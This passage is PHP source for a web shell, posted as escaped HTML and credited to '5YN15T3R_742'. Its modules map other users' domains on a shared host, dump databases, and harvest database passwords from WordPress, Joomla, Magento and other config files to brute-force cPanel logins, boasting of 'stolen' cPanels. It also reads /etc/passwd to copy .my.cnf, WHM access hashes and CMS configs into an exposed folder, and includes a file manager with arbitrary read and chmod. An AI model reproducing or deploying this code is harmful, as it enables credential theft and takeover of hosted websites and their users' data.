color=gold&gt;$user_jumping_dir&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_writable($user_jumping_dir)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$jrw = &quot;[&lt;font color=lime&gt;RW&lt;/font&gt;] &lt;a href='?path=$user_jumping_dir'&gt;&lt;font color=gold&gt;$user_jumping_dir&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $jrw;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(function_exists('posix_getpwuid')) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$domain_jump = file_get_contents(&quot;/etc/named.conf&quot;);<span class="Apple-tab-span" style="white-space:pre"></span></div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($domain_jump == '') {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot; =&gt; ( &lt;font color=red&gt;gabisa ambil nama domain nya&lt;/font&gt; )&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match_all(&quot;#/var/named/(.*?).db#&quot;, $domain_jump, $domains_jump);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($domains_jump[1] as $dj) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_jumping_url = posix_getpwuid(@fileowner(&quot;/etc/valiases/$dj&quot;));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_jumping_url = $user_jumping_url['name'];</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($user_jumping_url == $user_idx_jump) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot; =&gt; ( &lt;u&gt;$dj&lt;/u&gt; )&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>break;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($i == 0) {&nbsp;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;br&gt;Total ada &quot;.$i.&quot; Kamar di &quot;.$ip;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/pre&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/div&gt;&quot;;</div> <div>} elseif(isset($_GET['dbdump'])) {</div> <div>&nbsp; echo '&lt;hr&gt;&lt;pre&gt;&lt;center&gt;';</div> <div>&nbsp; echo '</div> <div>&lt;form action=?dbdump method=post&gt;</div> <div>Database Dump</div> <div>Server &nbsp; &nbsp; &nbsp; &nbsp;: &lt;input class=&quot;inputz&quot; type=text name=server size=52&gt;</div> <div>Username &nbsp; &nbsp; &nbsp;: &lt;input class=&quot;inputz&quot; type=text name=username size=52&gt;</div> <div>Password &nbsp; &nbsp; &nbsp;: &lt;input class=&quot;inputz&quot; type=text name=password size=52&gt;</div> <div>DataBase Name : &lt;input class=&quot;inputz&quot; type=text name=dbname size=52&gt;</div> <div>DB Type &nbsp; &nbsp; &nbsp; : &lt;form method=post action=&quot;?dbdump&quot;&gt;&lt;select class=&quot;inputz&quot; name=method&gt;&lt;option &nbsp;value=&quot;gzip&quot;&gt;Gzip&lt;/option&gt;&lt;option value=&quot;sql&quot;&gt;Sql&lt;/option&gt;&lt;/select&gt;</div> <div>&lt;input class=&quot;inputzbut&quot; type=submit value=&quot; &nbsp;Dump! &nbsp;&quot; &gt;</div> <div>&lt;/form&gt;&lt;/center&gt;&lt;/pre&gt;&lt;script&gt;';</div> <div>&nbsp; if ($_POST['username'] &amp;&amp; $_POST['dbname'] &amp;&amp; $_POST['method']){</div> <div>&nbsp; $date = date(&quot;Y-m-d&quot;);</div> <div>&nbsp; $dbserver = $_POST['server'];</div> <div>&nbsp; $dbuser = $_POST['username'];</div> <div>&nbsp; $dbpass = $_POST['password'];</div> <div>&nbsp; $dbname = $_POST['dbname'];</div> <div>&nbsp; $file = &quot;Dump-$dbname-$date&quot;;</div> <div>&nbsp; $method = $_POST['method'];</div> <div>&nbsp; if ($method=='sql'){</div> <div>&nbsp; $file=&quot;Dump-$dbname-$date.sql&quot;;</div> <div>&nbsp; $fp=fopen($file,&quot;w&quot;);</div> <div>&nbsp; }else{</div> <div>&nbsp; $file=&quot;Dump-$dbname-$date.sql.gz&quot;;</div> <div>&nbsp; $fp = gzopen($file,&quot;w&quot;);</div> <div>&nbsp; }</div> <div>&nbsp; function write($data) {</div> <div>&nbsp; global $fp;</div> <div>&nbsp; if ($_POST['method']=='ssql'){</div> <div>&nbsp; fwrite($fp,$data);</div> <div>&nbsp; }else{</div> <div>&nbsp; gzwrite($fp, $data);</div> <div>&nbsp; }}</div> <div>&nbsp; mysql_connect ($dbserver, $dbuser, $dbpass);</div> <div>&nbsp; mysql_select_db($dbname);</div> <div>&nbsp; $tables = mysql_query (&quot;SHOW TABLES&quot;);</div> <div>&nbsp; while ($i = mysql_fetch_array($tables)) {</div> <div>&nbsp; &nbsp; &nbsp; $i = $i['Tables_in_'.$dbname];</div> <div>&nbsp; &nbsp; &nbsp; $create = mysql_fetch_array(mysql_query (&quot;SHOW CREATE TABLE &quot;.$i));</div> <div>&nbsp; &nbsp; &nbsp; write($create['Create Table'].&quot;;nn&quot;);</div> <div>&nbsp; &nbsp; &nbsp; $sql = mysql_query (&quot;SELECT * FROM &quot;.$i);</div> <div>&nbsp; &nbsp; &nbsp; if (mysql_num_rows($sql)) {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ($row = mysql_fetch_row($sql)) {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach ($row as $j =&gt; $k) {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $row[$j] = &quot;'&quot;.mysql_escape_string($k).&quot;'&quot;;</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(&quot;INSERT INTO $i VALUES(&quot;.implode(&quot;,&quot;, $row).&quot;);n&quot;);</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div> <div>&nbsp; &nbsp; &nbsp; }</div> <div>&nbsp; }</div> <div>&nbsp; if ($method=='ssql'){</div> <div>&nbsp; fclose ($fp);</div> <div>&nbsp; }else{</div> <div>&nbsp; gzclose($fp);}</div> <div>&nbsp; header(&quot;Content-Disposition: attachment; filename=&quot; . $file);</div> <div>&nbsp; header(&quot;Content-Type: application/download&quot;);</div> <div>&nbsp; header(&quot;Content-Length: &quot; . filesize($file));</div> <div>&nbsp; flush();</div> <div><br /> </div> <div>&nbsp; $fp = fopen($file, &quot;r&quot;);</div> <div>&nbsp; while (!feof($fp))</div> <div>&nbsp; {</div> <div>&nbsp; &nbsp; &nbsp; echo fread($fp, 65536);</div> <div>&nbsp; &nbsp; &nbsp; flush();</div> <div>&nbsp; }</div> <div>&nbsp; fclose($fp);</div> <div>&nbsp; }</div> <div><br /> </div> <div>} elseif($_GET['it'] == 'cpanel') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($_POST['crack']) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$usercp = explode(&quot;\r\n&quot;, $_POST['user_cp']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$passcp = explode(&quot;\r\n&quot;, $_POST['pass_cp']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i = 0;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($usercp as $ucp) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($passcp as $pcp) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(@mysql_connect('localhost', $ucp, $pcp)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($_SESSION[$ucp] &amp;&amp; $_SESSION[$pcp]) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$_SESSION[$ucp] = &quot;1&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$_SESSION[$pcp] = &quot;1&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($ucp == '' || $pcp == '') {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span></div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$i++;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(function_exists('posix_getpwuid')) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$domain_cp = file_get_contents(&quot;/etc/named.conf&quot;);<span class="Apple-tab-span" style="white-space:pre"></span></div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($domain_cp == '') {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$dom = &nbsp;&quot;&lt;font color=red&gt;gabisa ambil nama domain nya&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match_all(&quot;#/var/named/(.*?).db#&quot;, $domain_cp, $domains_cp);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($domains_cp[1] as $dj) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_cp_url = posix_getpwuid(@fileowner(&quot;/etc/valiases/$dj&quot;));</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_cp_url = $user_cp_url['name'];</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($user_cp_url == $ucp) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$dom = &quot;&lt;a href='http://$dj/' target='_blank'&gt;&lt;font color=lime&gt;$dj&lt;/font&gt;&lt;/a&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>break;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$dom = &quot;&lt;font color=red&gt;function is Disable by system&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;username (&lt;font color=lime&gt;$ucp&lt;/font&gt;) password (&lt;font color=lime&gt;$pcp&lt;/font&gt;) domain ($dom)&lt;br&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($i == 0) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;br&gt;sukses nyolong &quot;.$i.&quot; Cpanel by &lt;font color=lime&gt;5YN15T3R_742&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;center&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;form method='post'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>USER: &lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;textarea style='width: 450px; height: 150px;' name='user_cp'&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$_usercp = fopen(&quot;/etc/passwd&quot;,&quot;r&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>while($getu = fgets($_usercp)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($getu == '' || !$_usercp) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;font color=red&gt;Can't read /etc/passwd&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match_all(&quot;/(.*?):x:/&quot;, $getu, $u);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($u[1] as $user_cp) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_dir(&quot;/home/$user_cp/public_html&quot;)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;$user_cp\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/textarea&gt;&lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>PASS: &lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;textarea style='width: 450px; height: 200px;' name='pass_cp'&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>function cp_pass($dir) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass = &quot;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$dira = scandir($dir);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($dira as $dirb) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(!is_file(&quot;$dir/$dirb&quot;)) continue;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$ambil = file_get_contents(&quot;$dir/$dirb&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(preg_match(&quot;/WordPress/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,&quot;DB_PASSWORD', '&quot;,&quot;'&quot;).&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/JConfig|joomla/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,&quot;password = '&quot;,&quot;'&quot;).&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/Magento|Mage_Core/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,&quot;&lt;password&gt;&lt;![CDATA[&quot;,&quot;]]&gt;&lt;/password&gt;&quot;).&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/panggil fungsi validasi xss dan injection/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,'password = &quot;','&quot;').&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,&quot;'DB_PASSWORD', '&quot;,&quot;'&quot;).&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/^[client]$/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match(&quot;/password=(.*?)/&quot;, $ambil, $pass1);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(preg_match('/&quot;/', $pass1[1])) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass1[1] = str_replace('&quot;', &quot;&quot;, $pass1[1]);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= $pass1[1].&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= $pass1[1].&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} elseif(preg_match(&quot;/cc_encryption_hash/&quot;, $ambil)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$pass .= ambilkata($ambil,&quot;db_password = '&quot;,&quot;'&quot;).&quot;\n&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $pass;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$cp_pass = cp_pass($dir);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $cp_pass;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;/textarea&gt;&lt;br&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;input type='submit' name='crack' style='width: 450px;' value='Crack'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;/form&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;span&gt;NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder &lt;u&gt;config&lt;/u&gt; ( ex: /home/user/public_html/nama_folder_config )&lt;/span&gt;&lt;br&gt;&lt;/center&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div>} elseif($_GET['it'] == 'config') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; chdir($path);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$etc = fopen(&quot;/etc/passwd&quot;, &quot;r&quot;) or die(&quot;&lt;pre&gt;&lt;font color=red&gt;Can't read /etc/passwd&lt;/font&gt;&lt;/pre&gt;&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$cracker = mkdir(&quot;syn_config&quot;, 0777);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$isi_htc = &quot;Options all\nRequire None\nSatisfy Any&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$htc = fopen(&quot;decay_config/.htaccess&quot;,&quot;w&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>fwrite($htc, $isi_htc);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>while($passwd = fgets($etc)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($passwd == &quot;&quot; || !$etc) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;font color=red&gt;Can't read /etc/passwd&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>preg_match_all('/(.*?):x:/', $passwd, $user_config);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($user_config[1] as $user_cracker) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$user_config_dir = &quot;/home/$user_cracker/public_html/&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(is_readable($user_config_dir)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$grab_config = array(</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/.my.cnf&quot; =&gt; &quot;cpanel&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/.accesshash&quot; =&gt; &quot;WHM-accesshash&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/po-content/config.php&quot; =&gt; &quot;Popoji&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/vdo_config.php&quot; =&gt; &quot;Voodoo&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/bw-configs/config.ini&quot; =&gt; &quot;BosWeb&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/config/koneksi.php&quot; =&gt; &quot;Lokomedia&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/lokomedia/config/koneksi.php&quot; =&gt; &quot;Lokomedia&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/clientarea/configuration.php&quot; =&gt; &quot;WHMCS&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/whm/configuration.php&quot; =&gt; &quot;WHMCS&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/whmcs/configuration.php&quot; =&gt; &quot;WHMCS&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/forum/config.php&quot; =&gt; &quot;phpBB&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/sites/default/settings.php&quot; =&gt; &quot;Drupal&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/config/settings.inc.php&quot; =&gt; &quot;PrestaShop&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/app/etc/local.xml&quot; =&gt; &quot;Magento&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/joomla/configuration.php&quot; =&gt; &quot;Joomla&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/configuration.php&quot; =&gt; &quot;Joomla&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/wp/wp-config.php&quot; =&gt; &quot;WordPress&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/wordpress/wp-config.php&quot; =&gt; &quot;WordPress&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/wp-config.php&quot; =&gt; &quot;WordPress&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/admin/config.php&quot; =&gt; &quot;OpenCart&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/slconfig.php&quot; =&gt; &quot;Sitelok&quot;,</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&quot;/home/$user_cracker/public_html/application/config/database.php&quot; =&gt; &quot;Ellislab&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>foreach($grab_config as $config =&gt; $nama_config) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$ambil_config = file_get_contents($config);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($ambil_config == '') {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$file_config = fopen(&quot;decay_config/$user_cracker-$nama_config.txt&quot;,&quot;w&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>fputs($file_config,$ambil_config);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}<span class="Apple-tab-span" style="white-space:pre"></span></div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}<span class="Apple-tab-span" style="white-space:pre"></span></div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;center&gt;&lt;a href='?path=$path/syn_config'&gt;&lt;font color=aqua&gt;Done&lt;/font&gt;&lt;/a&gt;&lt;/center&gt;&quot;;</div> <div>}</div> <div>chdir($path);</div> <div>echo '&lt;hr&gt;File Manager / Change FTP || ';</div> <div>echo &quot;[ &lt;a href='?path=$path&amp;iac=newfile'&gt;File Baru&lt;/a&gt; ]&quot;;</div> <div>echo &quot;[ &lt;a href='?path=$path&amp;iac=newfolder'&gt;Folder Baru&lt;/a&gt; ]&lt;hr&gt;&quot;;</div> <div>if($_GET['iac'] == 'newfile') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($_POST['new_save_file']) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$newfile = htmlspecialchars($_POST['newfile']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$fopen = fopen($newfile, &quot;a+&quot;);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($fopen) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$act = &quot;&lt;script&gt;window.location='?act=edit&amp;path=&quot;.$path.&quot;&amp;file=&quot;.$_POST['newfile'].&quot;';&lt;/script&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$act = &quot;&lt;font color=red&gt;permission denied&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $act;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;form method='post'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>Filename: &lt;input type='text' name='newfile' value='$path/newfile.php' style='width: 450px;' height='10'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;input type='submit' name='new_save_file' value='Submit'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;/form&gt;&quot;;</div> <div>} elseif($_GET['iac'] == 'newfolder') {</div> <div>&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;hr&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if($_POST['new_save_folder']) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$new_folder = $path.'/'.htmlspecialchars($_POST['newfolder']);</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>if(!mkdir($new_folder)) {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$act = &quot;&lt;font color=red&gt;permission denied&lt;/font&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>} else {</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>$act = &quot;&lt;script&gt;window.location='?path=&quot;.$path.&quot;';&lt;/script&gt;&quot;;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>}</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo $act;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>echo &quot;&lt;form method='post'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>Folder Name: &lt;input type='text' name='newfolder' style='width: 450px;' height='10'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;input type='submit' name='new_save_folder' value='Submit'&gt;</div> <div><span class="Apple-tab-span" style="white-space:pre"></span>&lt;/form&gt;&quot;;</div> <div>}</div> <div>if(isset($_GET['filesrc'])){</div> <div>echo &quot;&lt;tr&gt;&lt;td&gt;Current File : &quot;;</div> <div>echo $_GET['filesrc'];</div> <div>echo '&lt;/tr&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;';</div> <div>echo('&lt;pre&gt;'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'&lt;/pre&gt;');</div> <div>}elseif(isset($_GET['option']) &amp;&amp; $_POST['opt'] != 'delete'){</div> <div>echo '&lt;/table&gt;&lt;br /&gt;&lt;center&gt;'.$_POST['path'].'&lt;br /&gt;&lt;br /&gt;';</div> <div>if($_POST['opt'] == 'chmod'){</div> <div>if(isset($_POST['perm'])){</div> <div>if(chmod($_POST['path'],$_POST['perm'])){</div> <div>echo 'Change Permission Berhasil&lt;/font&gt;&lt;br/&gt;';</div> <div>}else{</div> <div>echo '&lt;font color=&quot;red&quot;&gt;Change Permission 